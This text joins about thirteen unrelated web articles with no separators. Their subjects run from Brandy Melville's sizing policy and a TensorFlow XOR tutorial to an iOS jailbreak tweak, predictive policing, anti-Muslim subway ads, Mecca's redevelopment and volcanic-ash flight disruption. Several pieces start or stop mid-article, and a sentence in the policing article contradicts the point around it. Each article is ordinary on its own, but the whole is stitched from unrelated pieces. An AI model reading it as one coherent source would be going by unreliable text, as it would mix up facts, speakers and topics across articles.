Brandy Melville is gaining traction with teens. (Data: Piper Jaffray)
Rachel Simmons, co-founder of the Girls Leadership Institute, a national nonprofit group, said Brandy Melville puts teen girls through the "paces of the popularity jungle," recreating the challenge of having to be the best and coolest in school.
Whereas typically teenage girls need to come up with the money to buy the "cool clothes," with Brandy Melville, cost isn't a challenge. The clothes are relatively affordable. Skirts and dresses run from $20 to $40. Plenty of tops cost less than $30, and some halters cost as little as $11.
With this label, cash is beside the point -- it's all about your body. That's an alarming message to put out to impressionable teenage girls, said Simmons.
"They're getting a really toxic message of what makes them worthy," she said. "All that matters is your body type."
The battle to be thinnest could be dangerous. A 2013 study from researchers at Texas A&M found that girls feel the most pressure to be skinny when they compare themselves with their peers. More than half of teenage girls use "unhealthy weight control behaviors," like skipping meals, fasting or vomiting, according to the National Association of Anorexia Nervosa and Associated Disorders.
Brandy Melville did not respond to requests for comment from HuffPost. But in an interview with USA Today earlier this year, Jessy Longo, an executive at Brandy Melville, addressed the one-size policy, saying that if customers can't fit in the clothes, at least they can buy an accessory.
"We can satisfy almost everybody, but not everybody," said Longo. "The one-size-fits-most clothing might turn off somebody if they don't walk into the store, but if you walk in you'll find something even if it's a bag."
Almost all of Brandy Melville's clothes come in "one-size-fits-most."
Founded in Italy by Silvio Marsan and his son Stephan as Brandy & Melville nearly two decades ago, the retailer came to the U.S. with little fanfare in 2009. Its first store opened adjacent to UCLA's campus in Westwood, Los Angeles. (The chain has 27 stores in Canada and Europe.)
Brandy Melville found its groove on Instagram, where its official account boasts more than 2 million followers. A look into the brand's Instagram approach by Racked revealed the retailer's "product research department" -- a corps of teens who fit the "Brandy Girl" image perfectly.
Regular teens aspire to one day be one of these Instagram girls, or at least look like them. Diehard fangirls treat the Brandy Melville girls like Internet celebrities, pinning Brandy Melville bags on their walls as decorations and Instagramming their caches of Brandy Melville clothes, explained Sharp. Teens will go to a Brandy Melville store just to take a selfie and share it, she said.
Since its arrival on the West Coast, Brandy Melville's clothes have swept through high schools, attracting teen girls who want to be part of the waif club. Lani Renaldo, a freshman at the University of Southern California who graduated from a Santa Monica high school in the spring, said Brandy Melville clothes were unavoidable among teens in the area. They became necessities, she said.
"It was really uncommon to know somebody who didn't have Brandy Melville," Renaldo, who wrote a blog post earlier this year condemning Brandy Melville for leaving teens as outcasts, told HuffPost. "You had to own something from Brandy, and if you didn't, it's really weird."
Inside the Brandy Melville store in SoHo, New York City. (Photo Credit: Kim Bhasin/The Huffington Post)
With all the importance it places on teensy waists and thigh gaps, the Brandy Melville culture was bound to court controversy.
In 2012, YouTube star Trisha Paytas said she'd been shamed at a Brandy Melville store in California. In a video uploaded to her YouTube account, Paytas alleged that a store employee wouldn't even let her try on clothes because of her size. She said she took down the video after receiving a letter from a lawyer representing Brandy Melville.
Paytas described the experience in an email to Brandy Melville: "I didn't get 10 seconds into the store when I was told 'I would not fit anything' and that I wasn't allowed to try anything on because 'I would stretch the clothes out.'" She added that many of her viewers have had similar experiences at Brandy Melville shops. Paytas declined an interview request for "legal reasons."
Whether fat-shamed directly or not, it's evident that Brandy Melville customers feel the pressure, even by simply walking into a store. Take this sampling of customers lamenting their weight because of Brandy Melville:
how to feel fat: brandy melville jeans — layn (@yunglaynr) September 27, 2014
I would buy stuff from Brandy Melville but im too fat. — ericka (@damnbehlendorf) October 13, 2014
Pharo Consortium has been selected this year as a Google Summer of Code 2019 mentor organization. This is the first time since 2017.
I would like to thank other GSOC co-admin Jigyasa Grover and Oleksandr Zaytsev for their commitment and hard work, Peter Uhnak for his help for the website, Alexandre Bergel, Yuriy Tymchuk and Stéphane Ducasse for their interactions.
We will prepare the call for students soon. We have already a website with a list of subject: http://gsoc.pharo.org/
More subjects can be added, but we will focus on topics that will have the bigger impact on the Pharo community.
We will use the #gsoc-planning channel on Discord to discuss.
If you have students that might be interested, please let them know about this opportunity. There is #gsoc-students channel for them.
Regards,
h Serge Stinckwic Int. Research Unit on Modelling/Simulation of Complex Systems (UMMISCO) Sorbonne University (SU) French National Research Institute for Sustainable Development (IRD) U niversity of Yaoundé I, Cameroun
This time, I had a interest in checking out Google’s machine learning system, TensorFlow.
Last November, Google open sourced the machine learning library that it uses within their own products. There are two API’s; one for Python and one for C++. Naturally, it makes sense to see what TensorFlow would make of the same network that we previously looked at and compare both Python-based neural networks.
You can download the TensorFlow library and see some of the tutorials here.
It’s worth noting that TensorFlow requires a little mental agility to understand. Essentially. the first few lines of code set up the inputs, the network architecture, the cost function, and the method to use to train the network. Although these look like the same steps as the steps in Python or Octave, they don’t in fact do anything. This is because TensorFlow considers those to be the model to use, running them only within a session. This model is in the form of a directed graph. Don’t worry if that’s not too clear yet.
TensorFlow Code
To start with, we need to load in the TensorFlow library:
import tensorflow as tf
The next step is to set up placeholders to hold the input data. TensorFlow will automatically fill them with the data when we run the network. In our XOR problem, we have four different training examples and each example has two features. There are also four expected outputs, each with just one value (either a 0 or 1). In TensorFlow, this looks like this:
x_ = tf.placeholder(tf.float32, shape=[4,2], name="x-input") y_ = tf.placeholder(tf.float32, shape=[4,1], name="y-input")
I’ve set up the inputs to be floating point numbers rather than the more natural integers to avoid having to cast them to floating points when multiplying the weights later on. The shape parameter tells the placeholder what the dimensions are of data we’ll be passing in.
The next step is to set up the parameters for the network. These are called Variables in TensorFlow. Variables will be modified by TensorFlow during the training steps.
Theta1 = tf.Variable(tf.random_uniform([2,2], -1, 1), name="Theta1") Theta2 = tf.Variable(tf.random_uniform([2,1], -1, 1), name="Theta2")
For our Theta matrices, we want them initialized to random values between -1 and +1, so we use the built-in random_uniform function to do that.
In TensorFlow, we set up the bias nodes separately, but still as Variables. This let’s the algorithms modify the values of the bias node. This is mathematically equivalent to having a signal value of 1 and initial weights of 0 on the links from the bias nodes.
Bias1 = tf.Variable(tf.zeros([2]), name="Bias1") Bias2 = tf.Variable(tf.zeros([1]), name="Bias2")
Now we set up the model. This is pretty much the same as that outlined in the previous posts on Python and Octave:
A2 = tf.sigmoid(tf.matmul(x_, Theta1) + Bias1) Hypothesis = tf.sigmoid(tf.matmul(A2, Theta2) + Bias2)
Here, matmul is TensorFlow’s matrix multiplication function, and sigmoid naturally is the sigmoid calculation function.
As before, our cost function is the average over all the training examples:
cost = tf.reduce_mean(( (y_ * tf.log(Hypothesis)) + ((1 - y_) * tf.log(1.0 - Hypothesis)) ) * -1)
So far, that has been relatively straightforward. Let’s look at training the network.
TensorFlow ships with several different training algorithms, but for comparison purposes with our previous implementations, we’re going to use the gradient descent algorithm:
train_step = tf.train.GradientDescentOptimizer(0.01).minimize(cost)
What this statement says is that we’re going to use GradientDescentOptimizer as our training algorithm, the learning rate (alpha from before) is going to be 0.01 and we want to minimize the cost function above. This means that we don’t have to implement our own algorithm as we did in the previous examples.
That’s all there is to setting up the network. Now we just have to go through a few initialization steps before running the examples through the network:
XOR_X = [[0,0],[0,1],[1,0],[1,1]] XOR_Y = [[0],[1],[1],[0]] init = tf.global_variables_initializer() sess = tf.Session() sess.run(init)
As I mentioned above, TensorFlow runs a model inside a session, which it uses to maintain the state of the variables as they are passed through the network we’ve set up. So the first step in that session is to initialise all the Variables from above. This step allocates values to the various Variables in accordance with how we set them up (i.e. random numbers for Theta and zeros for Bias).
The next step is to run some epochs:
for i in range(100000): sess.run(train_step, feed_dict={x_: XOR_X, y_: XOR_Y})
Each time the training step is executed, the values in the dictionary feed_dict are loaded into the placeholders that we set up at the beginning. As the XOR problem is relatively simple, each epoch will contain the entire training set. To see what’s going on inside the loop, just print out the values of the Variables:
if i % 1000 == 0: print('Epoch ', i) print('Hypothesis ', sess.run(Hypothesis, feed_dict={x_: XOR_X, y_: XOR_Y})) print('Theta1 ', sess.run(Theta1)) print('Bias1 ', sess.run(Bias1)) print('Theta2 ', sess.run(Theta2)) print('Bias2 ', sess.run(Bias2)) print('cost ', sess.run(cost, feed_dict={x_: XOR_X, y_: XOR_Y}))
That’s it. If you run this in Python, you’ll get something that looks like this after 99000 epochs:
As you can see in the display for the Hypothesis variable, the network has learned to output nearly correct values for the inputs.
The TensorFlow Graph
I mentioned above that the model was in the form of a directed graph. TensorFlow let’s us see what that graph looks like:
We can see that our inputs x-input and y-input are the starts of the graph, and that they flow through the processes at layer2 and layer3, ultimately being used in the cost function.
To see the graph yourself, TensorFlow includes a utility called TensorBoard. Inside your code, before the sess.run(init) statement add the following line:
writer = tf. summary.FileWriter ( " ./logs/xor_logs " , sess.graph_def)
The folder in the quotes can point to a folder on your machine where you want to store the output. Running TensorBoard is then as simple as entering this at a command prompt:
$ tensorboard --logdir=/path/to/your/log/file/folder
In your browser, enter http://localhost:6006 as the URL and then click on Graph tab. You will then see the full graph.
So that’s an example neural network in TensorFlow.
There is one thing I did notice in putting this together: it’s quite slow. In Octave, I was able to run 10,000 epochs in about 9.5 seconds. The Python/NumPy example was able to run in 5.8 seconds. The above TensorFlow example runs in about 28 seconds on my laptop.
TensorFlow is however built to run on GPUs and the model can be split across multiple machines. This would go some way to improving performance, but there is a way to go to make it comparable with existing libraries.
UPDATE 26/01/2016:
I’ve placed the full code up on GitHub here: https://github.com/StephenOman/TensorFlowExamples/tree/master/xor%20nn
Enjoy!
Update 07/03/2016:
I’ve changed the GitHub code to run a more realistic 100,000 epochs. Should converge now. [Thanks Konstantin!]
Developed by GroovyCarrot, SetBack allows you to easily switch between different saved jailbreak setups. The tweak allows you to save the current state of your setup for future use. This said, it stores all the installed tweak settings, applied Winterboard themes, icon layouts on your Home screen as well as wallpapers. With the touch of a button, you can quickly revert back to a saved setup.
Installing SetBack will add a new standalone app to your Home screen. The first time you open it, you’ll view an empty space with just one preview card that shows your Home screen and tapping on it will close the app. But, this is the place where you can access all your saved setups.
You’ll find a ‘+’ icon at the bottom of the screen that allows you to save the current state of your device. Press it and the tweak will start to save the current setup of your device. After it’s done, a new preview card will appear on the screen allowing you to switch back to it anytime you want.
You can save as many setups as you want without any limits. To switch to a different setup, simply tap on one of them and it will start to revert back to a specific saved setup followed by a respring for the changes to take place. After your device boots up, you’ll notice it looks exactly just as you saved it. Note that the tweak doesn’t uninstall any tweaks or themes. It just restores their settings. Long holding on a preview card allows you to either update the setup with your current Springboard setup, rename or delete it.
I’d definitely recommend you to give this tweak a try if you don’t want to ruin your current setup when switching to a different jailbreak tweak or theme.
Charlie Mensuel/BDoubliees.com
The coup de disgrace, for me at least, was the cover Wolinski drew in 1970, shortly before becoming the editor of Charlie Mensuel. He took Snoopy's doghouse (talk about sacrilege!) and put a reclining woman on top of it with her slip hiked up and a big smile on her face. Sticking out of the doghouse he drew a nearly naked man with a goofy grin gazing up at his paramour. It's as if Snoopy's doghouse had been turned into, well, a kind of cathouse. Good grief!
Then, as if nothing had happened, Snoopy and his friends continued to appear for the next dozen years in Charlie Mensuel. Imagine that: little Linus with his blanket, cheek by jowl with photos of bare-breasted women. Schulz's last cover, on April 1, 1982, shows Snoopy with his dukes up, looking ferocious. Had Schulz finally figured out what publication he'd been in for the last dozen years? Or is it possible that he didn't ever know his comics were in Charlie? How in the world could such a culture clash have occurred month after month without anyone, especially Schulz, raising a brow?
In the late 1960s and 70s Schulz had a squeaky clean image. He didn't drink. He taught Sunday school. His bestseller was “Happiness Is a Warm Puppy.” In the 1950s he tithed his salary to the Church of God. In the 1940s his mother told Sparky (that was his nickname) that his cartoons weren't “smutty” enough. Apparently Schulz just didn't like to draw that sort of thing; he thought it was kind of cheap. In 1992, during an interview with Gary Groth (which appears in The Complete Peanuts, 1950-52), Sparky explained his problem with underground comics:
They all use the same vulgar expressions and things … They draw the same dirty pictures, with the same dirty expressions and pretty soon, they're all alike. What's so great about that? I admit that some of them are good – Crumb is good—but that has never interested me … [W]hat I'm doing is infinitely more difficult … I'm drawing something that is good, but is clean and decent and I'm not bothering anybody and I'm not hurting anybody.
However, this isn’t stopping startups from moving ahead on this objective. Toward this goal, digital identity startup Netki has announced it has raised $3.5m in a seed round led by O’Reilly AlphaTech Ventures (OATV).
Joining the round was domain name provider, Donuts, Colle Capital, The Husseini Group, Digital Currency Group, Bitfinex, Plug and Play, Base Ventures and Tom Turney.
In an interview, Netki CEO Justin Newton, explained that the funds were raised to help the company, founded in 2014, continue with its growth.
He told CoinDesk:
“We plan to use the funds to invest in our technology and grow our team in order to support customer growth.”
For O’Reilly AlphaTech Ventures, this marks its first investment in a blockchain startup.
Ease of use
Netki was launched by Justin and Dawn Newton, both of whom were part of early Internet companies. (Justin Newton designed technology for AboveNet, NetZero/United Online, Demand Media and Blackline, while Dawn grew support operations at NetZero/United Online and worked at Microcom and InterAccess).
At Netki, their primary focus has evolved from this background.
To date, it has seen the entrepreneurs target applications that they believe are ready to be used today that can reduce the barrier of entry for blockchains, with a primary focus on identity projects.
Its first product, the Wallet Name Service, launched in the beginning of 2015 in an attempt to create a cleaner wallet address, and companies that have integrated Netki’s wallet naming service are Purse, BitSo, Bitt and BlockCypher.
Its latest product, announced at CoinDesk’s Consensus 2016, is a soon-to-be launched digital identity certificate, which it has compared to an SSL Certificate for the blockchain.
The company anticipates its digital identity certification offering will be in full production by the end of 2016.
Disclaimer: CoinDesk is a subsidiary of Digital Currency Group, which has an ownership stake in Netki.
As images of Ferguson, Missouri’s AR-15 totting police force made their way across the Internet this week, an ever-concerned public began to wonder who decided to give cops in an American city the sort of guns and gear that we provide to soldiers in the most dangerous places in the word? We quickly discovered that the United States government did, under the so-called 1033 program, a program that allows the Defense Department to transfer military equipment to law enforcement (much to the delight, surely, of the companies that make that equipment.)
Of course, to call the Ferguson police force “militarized” is a misnomer. As Adam Weinstein points out at Gawker, gear alone does not a military member make—to wit: “Despite their expensive costuming, the police in Ferguson are putting on an unsophisticated, unscripted performance, a copy without an original. If these cops were to take a page out of the Army’s book on crowd control, it would be an improvement. But they seem to be making up tactics to go with the gear they’ve acquired.”
In terms of large nations that have, in fact, militarized their police forces, the model that we are now following looks Chinese in origin, a country that has been blurring the line between military and police for a long time. NATO and the Defense Department continuously point out that Chinese military funding and “public safety” funding overlap to large extent. A quick glance at Chinese spending on “internal” security versus formal “defense” reveals a country that views its citizens as a larger threat than any external foe.
In 2011, not long after the “Jasmine Revolution” swept Tunisia, Beijing—feeling the winds change in popular uprising—upped spending for police, jails, and other pieces of internal security by more than 13 percent to 624.4 billion yuan ($95 billion). Money for the Chinese Liberation Army, conversely, rose 12.7 percent that year to 601.1 billion yuan ($91.5 billion).
“This would be the first time that the openly announced domestic security budget has surpassed military spending,” Tongji University political scientist Xie Yue told Reuters. Yue said that the figure provides a good sense of China’s “stability protection” spend.
The trend slightly slowed but still continued through 2013. Chinese spending on its own police and internal security rose to 769.1 billion yuan last year compared to 740.6 billion yuan for the People’s Liberation Army.
This year, China withheld figures for what it would be spending on “stability maintenance,” but by the end of 2014, China will become the world’s number one market for surveillance equipment and technology, surpassing the U.S., according to a report from the Homeland Security Research Corporation.
The U.S. forbids the sale of military equipment to China with its Foreign Relations Authorization Act for FY1990-FY1991 (P.L. 101-246). But U.S. contractors from IBM China to GE Security Asia to Honeywell sell into the Chinese security market.
If China is a country that is at war with its own citizens, what does that mean for the future weapons that she might deploy?
Here’s where China may borrow from us. One of the most important new weapons that police forces around the country are experimenting with is so called predictive policing—the use of data and statistics to determine the location, and possibly even the perpetrators of crime. It’s a trend that’s sweeping police departments across America. Reporters at San Francisco Weekly have shown that a lot of today’s predictive policing marketers are peddling products that don’t meet the expectations that those marketers are advertising. But the thinking behind the concept is still sound, and there are some key cases where predictive policing has proven to be a force multiplier.
One such example is New York.
Predictive Policing, Past, Present and Future
In 1994, newly appointed New York City police commissioner William Bratton took it upon himself to “strategically re-engineer” New York’s Police Department. Jack Maple, who was working with the New York transit authority at the time, convinced Bratton that up‐to‐the‐minute data, city‐wide crime statistics and crime mapping would enable the police to pre-emptively deploy police officers into areas where crime was about to go up.
This first experiment in what is now somewhat commonly called “predictive policing” decreased the crime rate in New York City by 37 percent in three years. But Bratton’s re-engineering went beyond money-balling crime. He also put into place zero‐tolerance and stop‐and‐frisk policies that have been deemed unconstitutional in Federal Court.
Predictive policing will make its way into the operations of more and more police departments around the country.
As a tactic, predictive policing has been used to preempt peaceful civil demonstrations, like the 2003 World Trade Organization protests that took place in Miami, Florida. Today, police around the country routinely employ espionage tactics to predict and preempt spontaneous punk and dance shows (under the expansive and poorly written 2003 RAVE Act, sponsored by Joe Biden, which can be used to arrest concert promoters for the behavior of their patrons). If you’re a police chief or mayor, preempting a protest is less risky than trying to disrupt one in progress, especially in an age where the kids you will be pepper spraying carry TV studios in their pockets. The combination of police armed with military equipment using big data analytics not just to break up street demonstrations, but to keep them from ever happening is a trend that’s invisibly increasing.
Why It Won’t Fix the Problem
Neither big data nor AR-15s will fix any of the long-term issues that plague our criminal justice system or change the way many cops interact with residents in poor neighborhoods. Zero-tolerance policies—of which predictive policing programs often serve as a component—are really effective at putting people behind bars. In a country with the highest prison population rate on the planet, that’s like taking a machine that produces a terrible product—say, exploding strollers—and “improving” it not by changing the design of the strollers, but by enabling it to produce many more exploding strollers far faster and more cheaply. Even in places where every criminal is truly a threat to public health (which is no place), pumped-up arrests will exacerbate prison overcrowding, recidivism, and so forth.
There’s another example of predictive policing in action that shows the tactic can be used wisely, the city of Memphis.
Throughout the 2000s, Memphis was following the same path—straight down—of many formerly prosperous U.S. metro regions. Property values and college graduation rates were abysmal. Poverty was high. In the beginning of the last decade, Memphis was consistently ranked one of the top five worst U.S. cities for violent crime.
Between 2006 and 2010, in spite of all of the above, crime dropped 31 percent.
The demographics of Memphis didn’t change in that time. The approximately 2,300 men and women on the police force at that time were the same sort you’d find in any town where there’s too much to do and too few to do it. Here’s what changed: the department began handling its information differently thanks to Dr. Richard Janikowski, an associate professor in the Department of Criminology and Criminal Justice at the University of Memphis.
Janikowski convinced local police head Larry Godwin to allow him to study the department’s arrest records. But Janikowski wasn’t looking for biographical sketches of the perpetrators; he was looking for marginalia, the circumstances behind each arrest—the where and when of crime.
As originally covered in The Futurist magazine, the biggest single finding, and by far the most controversial, was that the rising crime rate was closely connected to Section 8 housing, federally subsidized housing for qualified individuals below a certain income level. When Janikowski and his wife, housing expert Phyllis Betts, took a crime hot-spot map and layered it on top of the map for Section 8 housing, the pattern was unmistakable. Hanna Rosin, in her 2008 Atlantic article on Janikowski, described it thusly: “On the merged map, dense violent-crime areas are shaded dark blue, and Section 8 addresses are represented by little red dots. All of the dark-blue areas are covered in little red dots, like bursts of gunfire. The rest of the city has almost no dots.”
Today Janikowski points out that blue-area, red-dot analysis omitted some important data. “You know, the stuff didn’t overlap perfectly. There were high levels of correlation with it. Section 8 housing was part of what you see there. But it was also just heavy levels—a big concentration of poverty. And that’s a complex relationship that was occurring.”
We now know with more certainty that the connection between Section 8 housing and rising crime is correlative, not causative. People who live in this housing are not more likely to commit crimes so much as they are more likely to move to low-rent neighborhoods where the probability of a crime rise is already high.
This relationship between the likelihood of being a crime victim, being a crime assailant, and living in Section 8 was particularly complicated in Memphis, says Janikowski, where many traditional Section 8 units were in terrible shape and others were being torn down. “You’ve got lots of demolition that was occurring in what was the traditional inner city for various reasons. So you had movement there. You had a lot of movement of at-risk populations. And they all tended to cluster because, again, the price of housing.”
Operation Blue CRUSH (Crime Reduction Utilizing Statistical History) was born in 2006. The system used IBM’s SPSS program and mapping software from Esri to better capture and disseminate crime data. In addition to weather patterns, seasonality and area demographics, they could also model lighting conditions with a particular focus on garages and alleys. They looked at when big local employers issued paychecks by time of the week, the month, year and what times of day people went to and left work.
The same location optimization techniques that companies such as Esri provide to retail chains to find the best neighborhood to place a new store are also useful in mapping relationships between crime, economics and physical space.
“We can not only just manage what is this dot on the map that we call ‘burglary’ or ‘robbery,’ but how does that dot on the map interact with the demographics of the area, home values or population trends,” said Mike King, Esri’s national law enforcement manager. “If you’re in a predominantly blue-collar neighborhood that works at factories, what happens every other Friday when it’s payroll time? Do we see increases in alcohol-related events? Do we see increases in domestic violence?”
Here’s why the way these models work matters to the future: as we develop the capacity to monitor more of these signals and incorporate more variables, the statistical tools required to make use of them will become simpler and more transparent. As transparency increases, governmental decision makers will have an easier time accepting and supporting predictive policing programs. As more departments begin to use such programs, and share information about which variables and tools are most useful, these programs could get a lot better very quickly.
The predictive policing program in Memphis, which has been in place longer than any other program of its type in the nation except New York’s, has touched the lives of virtually everyone in the city. But it’s attracted far fewer complaints and legal challenges—and essentially none of the controversy that has attached itself to other programs. Janikowski credits legwork for this. He and the deputy chiefs went to more than two hundred community meetings over the course of two years; they went through neighborhoods block by block to knock on doors, tell people what they were doing and listen to concerns. Of these meetings, he says, “Whether there was five people there or five hundred, we did the same thing. We explained what we were doing, why we were doing it, what results we were hoping for. By going out there and telling folks, ‘This is what’s going on and why,’ we never got the kinds of push back that I’ve heard from other cities.”
A cynic might suggest that Janikowski surrendered a strategic advantage in doing so. He gave up too much information to the would-be perpetrators. Janikowski says being more generous with information and proactively reaching out to the public about the program, rather than just announcing its existence in a press release, is the reason the program continues to operate with the public’s blessing. Public support is necessary if these programs are ever to reach their fullest potential. That public support would be impossible to obtain.
Andrew Ferguson of the University of the District of Columbia has written a lot on the Fourth Amendment implications of predictive policing. He says that when the police come to your door to politely ask for information or inform you of a new police program—and they’re armed like they were just air-dropped into Fallujah—the effect amounts to forced coercion.
“What happens when predictive policing meets a militarized police force? Instead of sending a few officers to a place where your algorithm has determined that there might be a crime you send a tank and officers in military outfits, I would imagine that would be an effective tactic but would change the way we view policing in America in a negative way.”
The Chinese policy of “stability maintenance” may soon receive a big boost from predictive policing methods, too. The U.S. has an opportunity to make a different choice, we can use data to make neighborhoods safer and improve police-community relations. Or we can continue to arm police like we’re sending them to war. Attempting to do both at once won’t work.
While most Colorado voters still support the legalization of recreational marijuana, a majority says the law harms the state’s national image in a new poll on Monday.
Colorado voters say 51 percent to 38 percent that the law is bad for Colorado’s image, according to a Quinnipiac poll released Monday.
Story Continued Below
Still, 58 percent of voters support the law compared with 39 percent who oppose it, more than Quinnipiac’s last poll in August that found 54 percent to 41 percent support.
( Also on POLITICO: John Mica to probe 'schizophrenic' marijuana policy)
Though the bill was approved in 2012, the first legal sales of recreational marijuana began in the state last month.
Gov. John Hickenlooper, who is facing a tough reelection fight this year, gets fair marks on marijuana policy in the state. Voters approve of his handling of pot politics 53 percent to 34 percent.
A slim majority of Coloradans have tried marijuana, though very few have done so since the law went into effect. Fifty-one percent said they had tried marijuana, but only 10 percent of Colorado voters said they had used marijuana since the law went into effect Jan. 1.
( Also on POLITICO: Medical marijuana gains in South)
Quinnipiac surveyed 1,139 Colorado voters from Jan. 29 to Feb. 2 for the poll, which has an error margin of plus or minus 2.9 percentage points.
This article tagged under: Marijuana
Leaders from the Cook Islands, Kiribati, Marshall Islands, Nauru, Palau and Tuvalu demanded the world limit the global temperature rise to 1.5 degrees Celsius and that countries uphold the principle of polluter pays.
At risk: The Cook Islands. Credit:Cook Islands Tourism
The declaration on climate change came ahead of a broader 16-nation Pacific Island Forum leaders summit and retreat which includes Australia and New Zealand later this week.
Atlanta City Councilman Howard Shook said he is receiving numerous calls and emails from his constituents telling him that there mail is coming to them labeled as being in the city of Brookhaven.
“Several people are complaining to my office and they are startled and somewhat offended,” Shook said.
More significantly, he added, his constituents are telling him they are being summoned to serve on jury duty in DeKalb rather than Fulton County, they are having problems renewing their drivers licenses and are also having problems with credit card transactions.
“I understand it’s a matter of municipal vanity to have your own zip code, but it horrifies me that this may be creating serious problems,” Shook said.
Brookhaven’s Mayor John Ernst is open to working with Shook and the Postal Service to work out a remedy, said spokesperson Ann Marie Quill.
“This postal change occurred under the previous administration, and we were under the impression that it meant the use of ‘Brookhaven’ in mailings was merely an option for those in our city limits,” she said.
“We certainly did not intend to cast any harm for any Atlanta residents,” she said.
Brookhaven, which borders the eastern edge of Buckhead, incorporated in December 2012. The city then began the process of having the U.S. Postal Service recognize 30319 and 30329 in Brookhaven as a deliverable address; the status was achieved in October 2014 with help from U.S. Rep. Tom Price.
Shook urges Atlantans who have been “victimized by the change” to contact him at hshook@atlantaga.gov.
The posters were put up in the city by the anti-Muslim American Freedom Defense Initiative, led by Pam Geller. They were approved by a US court, which ruled that they were "political" statements and protected by the first amendment, which guarantees free speech.
The poster states: "In any war between the civilized man and the savage, support the civilized man." Between two Stars of David, it adds: "Support Israel. Defeat Jihad."
Eltahawy was arrested after a supporter of Geller's initiative attempted to prevent her defacing the sign with a purple aerosol.
The posters are now displayed in 10 New York stations – including Grand Central and Times Square – after a court ruled that the local transport authority could not refuse the ads.
In a video posted online of the incident by the New York Post, Mona Eltahawy can be seen attempting to paint over the poster before she is tackled by a woman with a camera, who is identified as Pamela Hall.
"Mona, do you think you have the right to do this?" Eltahawy is asked. "I do actually," Eltahawy replies, adding: "I think this is freedom of expression, just as [the ad] is freedom of expression."
As the scuffle continues two police officers appear to then arrest Eltahawy, who says: "This is what happens in America when you non-violently protest."
Eltahawy, who has written for this paper, was later charged with "criminal mischief" and "graffiti".
During the Arab spring, Eltahawy was arrested in Cairo and suffered an assault by riot police which left her with two broken arms.
The Metropolitan Transport Authority (MTA) had originally ruled it would not permit the posters because they were demeaning, but was compelled to take the $6,000 (£3,700) ad after Geller's group went to court.
Last month US district court judge Paul Engelmayer ruled that it is protected speech under the first amendment.
"Our hands are tied," New York subway spokesman Aaron Donovan said. "Under our existing ad standards as modified by the injunction, the MTA is required to run the ad."
The posters have attracted widespread condemnation including from Jewish figures. Among those who have spoken out against them is Rabbi Rachel Kahn-Troster, of Rabbis for Human Rights — North America, who wrote for CNN online: "As a rabbi, I find the ads deeply misguided and disturbing … The coded message makes clear who the savages are: those who support jihad, which in Geller's mind includes all Muslims. She has called Islam 'an extreme ideology, the most radical and extreme ideology on the face of the Earth'.
"As a Jew, I know the extreme to which baseless hatred can lead. And the Jewish community has been in the past a target of hatred in the United States. Geller's message ignores the positive contributions that our Muslim friends, neighbours and colleagues make to our country every single day.
"It is also unfortunate that Geller chooses to frame her message of hatred as one of support for Israel."
As head of a group called Stop Islamization of America, Geller, a rightwing blogger, helped spur a long campaign two years ago to remove a planned Islamic community centre near the World Trade Centre site, which she called the "Ground Zero Mosque".
Every Ramadan Mecca and the Grand Mosque, which lies is at its centre, look different: bigger, brighter, shinier. The Kaaba, the small shrouded building at the centre of the mosque, which could once be seen from any of the hills around it, is now obscured. The city has been a large construction site over the past 20 years, and the results are beginning to show. At night, all lit up and crowded with apartments and hotels, Mecca now looks like a Saudi interpretation of Gotham or even Las Vegas. A large, Big Ben-like clock tower looms over the centre, and shopping malls and high-rise blocks are being built in a circle around the pilgrimage zone.
In order to make way for these new developments, historic sites – such as the prophet’s house and his wife’s houses – have been razed. “The Saudis have spoiled Mecca” is now a popular view, and ancient structures – most recently the oldest columns in the Mecca and Medina mosques – have been compromised to make way for accelerated construction.
But it’s not fair to rush to judgment, or to label the Saudis as simple philistines. Mecca is a living city. Although, according to scripture, it has a history that stretches back to Abraham, its infrastructure was never lavish. Not through any particular sense of the sanctity of place: Saudi Arabia itself, and the entire Gulf region, had neither the centralised government nor the assets needed to overhaul sites of religious significance before the 20th-century oil boom.
In the days before modern travel, mere thousands trickled through this tiny city. But Mecca now hosts up to 3 million visitors a year. Accommodating such a large number today is a huge logistical challenge. And these are not visitors who come for a few hours – to take a selfie, buy a rosary, say a prayer and then leave. They are pilgrims who stay for days, and who need to be fed, housed, washed and transported safely and speedily in and out of the city. Luxury flats and malls might be surplus to those requirements, but how could commercialism not creep in when the potential market is so huge?
Permeating the official attitude towards the expansion is a characteristically Saudi hardline religious view, which frowns upon the memorialisation of prophets and the sites associated with them. But what we’re seeing isn’t really a case of ideologically driven destruction. The main considerations are practical, and there are Saudi architects and organisations that are campaigning to mitigate the effects of the city’s expansion. This is emphatically not a case of the Afghan Taliban blowing up world heritage sites to make a religious point.
The roots of concern over what is happening in Mecca at the moment are partly romantic. Today’s city is not the one Muslims learn about in dramatic desert tales of the religion’s inception. Some of the complaints are prompted by snobbery and disdain for the Saudi and Gulf aesthetic, which favours the bold and the garish over the understated and unobtrusive – as seen most obviously in Dubai. But it is also about failing to understand how the difference in cultural attitudes and needs plays out. The listed-buildings protocol in Britain, for example, is a product of a whole infrastructure of preservation, and took many decades to develop. Much of it relates to religious buildings, since those make up a great deal of this country’s built heritage. And, in contrast to Mecca, the demands on these buildings have diminished over the years.
While Mecca is a site of great historical religious significance, it cannot be preserved in the familiar sense, as its history has not ended. You might not appreciate what it looks like – but it matches the tastes and requirements of the present, as every place of pilgrimage has done in its heyday. Who can say that in 2,000 years the Mecca clocktower that people deem so ghastly will not be treated with as much reverence as the palaces of the Vatican are today?
Only not at the moment. With almost all air travel grounded due to volcanic ash, the freight operator that runs the perishables centre today declared things "at a standstill". By definition, these perishable imports do not store well, and Waitrose is already warning of potential shortages. Rather than weigh down the aircraft with unnecessary skin and pips, much of the fruit is pre-sliced in African facilities, making retailers even less able to create contingency buffers. Our desire for all-year-round oral gratification has left us perilously dependent on just-in-time supply chains in the stratosphere.
But fruit and veg is only one aspect of our dependence on air travel revealed by this week's surprise volcanic disruption. Courier companies such as FedEx and DHL have had to shut down their services, disrupting delicate logistic chains across industry. As anyone who has ordered an iPod from Apple knows, it is possible to track in real time the flow of high-value electronics flown across the world by these companies. Or at least, it is normally.
Iceland's revenge on the world economy has given us a glimpse of a world without air travel. We are used to images of stranded passengers – marooned by terrorism, industrial action or perhaps just our overcrowded and underinvested aviation industry. But it is very rare for the skies to be scoured so comprehensively as this. As many people observed yesterday, the sight of clear blue skies without a contrail to be seen was strangely uplifting.
But it also had a post-apocalyptic feel about it, more reminiscent of a Hollywood disaster movie than environmental utopia.
The short-term economic cost is likely to be minimal. Airlines will lose a few tens of millions of pounds each from the disruption – hardly ideal at a time of big losses and falling passenger numbers, but probably not catastrophic in the long term.
